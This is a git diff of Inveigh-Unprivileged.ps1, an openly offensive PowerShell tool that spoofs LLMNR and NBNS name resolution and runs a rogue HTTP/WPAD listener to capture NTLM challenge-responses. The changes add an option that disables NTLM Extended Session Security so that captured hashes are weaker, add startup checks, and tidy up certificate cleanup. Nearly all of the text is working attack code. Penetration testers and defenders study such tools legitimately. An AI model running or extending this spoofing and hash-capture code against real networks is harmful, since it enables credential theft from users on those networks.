diff options
Diffstat (limited to 'Scripts/Inveigh-Unprivileged.ps1')
-rw-r--r-- | Scripts/Inveigh-Unprivileged.ps1 | 181 |
1 files changed, 134 insertions, 47 deletions
diff --git a/Scripts/Inveigh-Unprivileged.ps1 b/Scripts/Inveigh-Unprivileged.ps1 index b4c0c25..3fe5dd7 100644 --- a/Scripts/Inveigh-Unprivileged.ps1 +++ b/Scripts/Inveigh-Unprivileged.ps1 @@ -79,10 +79,8 @@ Default = Any: IP address for the HTTP listener. Default = 80: TCP port for the HTTP listener. .PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type. This setting does not apply to -wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016 patches. A -WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and -connecting to the root of the HTTP listener. +Default = NTLMESS: (Anonymous,Basic,NTLM,NTLMNoESS) HTTP/HTTPS server authentication type. This setting does not apply to +wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. .PARAMETER HTTPBasicRealm Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. @@ -92,8 +90,8 @@ String or HTML to serve as the default HTTP/HTTPS response. This response will n Use PowerShell character escapes where necessary. .PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to -Anonymous can prevent browser login prompts. +Default = NTLMESS: (Anonymous,Basic,NTLM,NTLMNoESS) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. .PARAMETER WPADEmptyFile Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. @@ -160,6 +158,9 @@ Default = Unlimited: (Integer) Run time duration in minutes. .PARAMETER RunCount Default = Unlimited: (Integer) Number of captures to perform before auto-exiting. +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. @@ -201,11 +202,12 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", @@ -233,7 +235,8 @@ param if ($invalid_parameter) { - throw "$($invalid_parameter) is not a valid parameter." + Write-Output "Error:$($invalid_parameter) is not a valid parameter" + throw } if($NBNSBruteForce -eq 'Y') @@ -244,7 +247,8 @@ if($NBNSBruteForce -eq 'Y') if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) { - throw "You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + throw } if(!$SpooferIP) @@ -257,12 +261,14 @@ if($WPADIP -or $WPADPort) if(!$WPADIP) { - throw "You must specify a -WPADPort to go with -WPADIP" + Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" + throw } if(!$WPADPort) { - throw "You must specify a -WPADIP to go with -WPADPort" + Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" + throw } } @@ -292,7 +298,8 @@ if(!$inveigh) if($inveigh.unprivileged_running) { - throw "Invoke-InveighUnprivileged is already running, use Stop-Inveigh" + Write-Output "Error:Invoke-InveighUnprivileged is already running, use Stop-Inveigh" + throw } if(!$inveigh.running -or !$inveigh.relay_running) @@ -304,11 +311,11 @@ if(!$inveigh.running -or !$inveigh.relay_running) $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_application_ID = $HTTPSCertAppID - $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.console_output = $false $inveigh.console_input = $true $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" @@ -362,7 +369,10 @@ else $inveigh.status_queue.Add("Inveigh Unprivileged started at $(Get-Date -format 's')") > $null $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Unprivileged started")]) > $null -$firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} +if($StartupChecks -eq 'Y') +{ + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} +} if($firewall_status) { @@ -380,7 +390,10 @@ if($firewall_status) if($LLMNR -eq 'Y') { - $LLMNR_port_check = netstat -anp UDP | findstr 0.0.0.0:5355 + if($StartupChecks -eq 'Y') + { + $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " + } if(!$LLMNR_port_check) { @@ -475,11 +488,10 @@ else if($HTTP -eq 'Y') { - $HTTP_port_check += netstat -anp TCP | findstr 0.0.0.0:$HTTPPort - if($HTTPIP) + if($StartupChecks -eq 'Y') { - $HTTP_port_check += netstat -anp TCP | findstr $HTTPIP`:$HTTPPort + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " } if($HTTP_port_check) @@ -490,7 +502,7 @@ if($HTTP -eq 'Y') else { - if($HTTPIP) + if($HTTPIP -ne '0.0.0.0') { $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null } @@ -730,7 +742,7 @@ $HTTP_scriptblock = function NTLMChallengeBase64 { - param ([String]$Challenge) + param ([String]$Challenge,[Bool]$NTLMESS) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() @@ -752,8 +764,18 @@ $HTTP_scriptblock = $inveigh.HTTP_challenge_queue.Add($HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + if($NTLMESS) + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a + } + else + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a + } + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + + 0x00,0x00,0x00 + + $HTTP_NTLM_negotiation_flags + $HTTP_challenge_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, @@ -774,7 +796,7 @@ $HTTP_scriptblock = return $NTLM } - if($HTTPIP) + if($HTTPIP -ne '0.0.0.0') { $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) @@ -784,8 +806,19 @@ $HTTP_scriptblock = $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) } + $HTTP_running = $true $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint - $HTTP_listener.Start() + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting HTTP listener") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting HTTP listener")]) + $HTTP_running = $false + } $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count @@ -822,7 +855,7 @@ $HTTP_scriptblock = $HTTP_client_close = $true - :HTTP_listener_loop while ($inveigh.unprivileged_running) + :HTTP_listener_loop while ($inveigh.unprivileged_running -and $HTTP_running) { $TCP_request = "" $TCP_request_bytes = New-Object System.Byte[] 1024 @@ -890,6 +923,15 @@ $HTTP_scriptblock = $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 } + if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) + { + $HTTPNTLMESS = $true + } + else + { + $HTTPNTLMESS = $false + } + $HTTP_type = "HTTP" $NTLM = "NTLM" $NTLM_auth = $false @@ -910,7 +952,7 @@ $HTTP_scriptblock = if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { $HTTP_response_status_code = 0x34,0x30,0x31 - $NTLM = NTLMChallengeBase64 $Challenge + $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_client_close = $false } elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') @@ -921,7 +963,7 @@ $HTTP_scriptblock = $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' - $HTTP_challenge_queue.Remove($NTLM_challenge) + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) if($HTTP_NTLM_domain_length -eq 0) @@ -1077,7 +1119,7 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date -format r $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) + if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) { $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) $HTTP_message_bytes = 0x0d,0x0a @@ -1199,14 +1241,27 @@ $LLMNR_spoofer_scriptblock = { param ($LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) + $LLMNR_running = $true $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) - $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 + + try + { + $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer")]) + $LLMNR_running = $false + } + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - while($inveigh.unprivileged_running) + while($inveigh.unprivileged_running -and $LLMNR_running) { + $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) # need to switch to async if([System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now @@ -1287,12 +1342,25 @@ $NBNS_spoofer_scriptblock = { param ($NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + $NBNS_running = $true $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + + try + { + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer")]) + $NBNS_running = $false + } + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - while($inveigh.unprivileged_running) + while($inveigh.unprivileged_running -and $NBNS_running) { + $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) # need to switch to async if([System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') @@ -1970,7 +2038,7 @@ if($inveigh) if($inveigh.unprivileged_running) { $inveigh.unprivileged_running = $false - Start-Sleep -s 5 + Start-Sleep -S 2 Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')") $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited") > $null @@ -1984,6 +2052,7 @@ if($inveigh) if($inveigh.relay_running) { $inveigh.relay_running = $false + Start-Sleep -S 2 Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null @@ -2015,27 +2084,45 @@ if($inveigh) if($inveigh.HTTPS) { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + $certificate_check = & "netsh" http show sslcert - try + if($certificate_check) { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() + $netsh_ipport = "ipport=" + $inveigh.HTTPS_IP + ":" + $inveigh.HTTPS_port + $netsh_arguments = @("http","delete","sslcert",$netsh_ipport) + & "netsh" $netsh_arguments > $null } - catch + + if(!$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - if($inveigh.file_output) + try { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + Write-Output("SSL Certificate Deletion Error - Remove Manually") + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + } + } } + } $inveigh.HTTP = $false |